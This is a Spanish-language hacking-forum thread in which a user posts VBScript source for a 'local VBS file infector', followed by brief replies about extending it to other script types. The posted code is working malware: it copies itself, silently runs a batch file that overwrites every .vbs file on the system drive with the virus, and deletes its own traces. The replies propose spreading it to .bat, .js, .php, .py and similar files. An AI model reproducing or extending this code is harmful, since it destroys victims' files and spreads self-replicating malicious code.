[VBS] [SOURCE] Infectar Archivos Locales

[.BrutuS]

Infecta todos los archivos *.vbs en el disco principal.

Código [Seleccionar] Expandir

'Local VBS File Infector by BrutuS
Dim FSO, ObjTextFile
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set ObjTextFile = FSO.CreateTextFile("Copy.bat", True)
FSO.CopyFile Wscript.ScriptFullName, "Virus.vbs"
ObjTextFile.WriteLine("@echo off")
ObjTextFile.WriteLine("DIR /S/B %SystemDrive%\*.vbs >> Config.txt")
ObjTextFile.WriteLine("echo Y | FOR /F ""tokens=1,* delims=: "" %%j in (Config.txt) do copy /y Virus.vbs ""%%j:%%k""")
ObjTextFile.WriteLine("del /f /q Config.txt")
ObjTextFile.WriteLine("del /f /q Virus.vbs") 
ObjTextFile.WriteLine("del /f /q %0")
ObjTextFile.Close
Shell.Run "Copy.bat", 0

[phat_one@h0st:~$]

seria entretenido si hicieras uno que infectara todos los archivos de scripts

[.BrutuS]

seria entretenido si hicieras uno que infectara todos los archivos de scripts

Si se podria hacer uno que infecte "vbs, vbe, bat, cmd, reg" tengo una idea para esos   

[phat_one@h0st:~$]

bueno en este caso hablaba tambien de los archivos .js, .html, .php, .pl y .py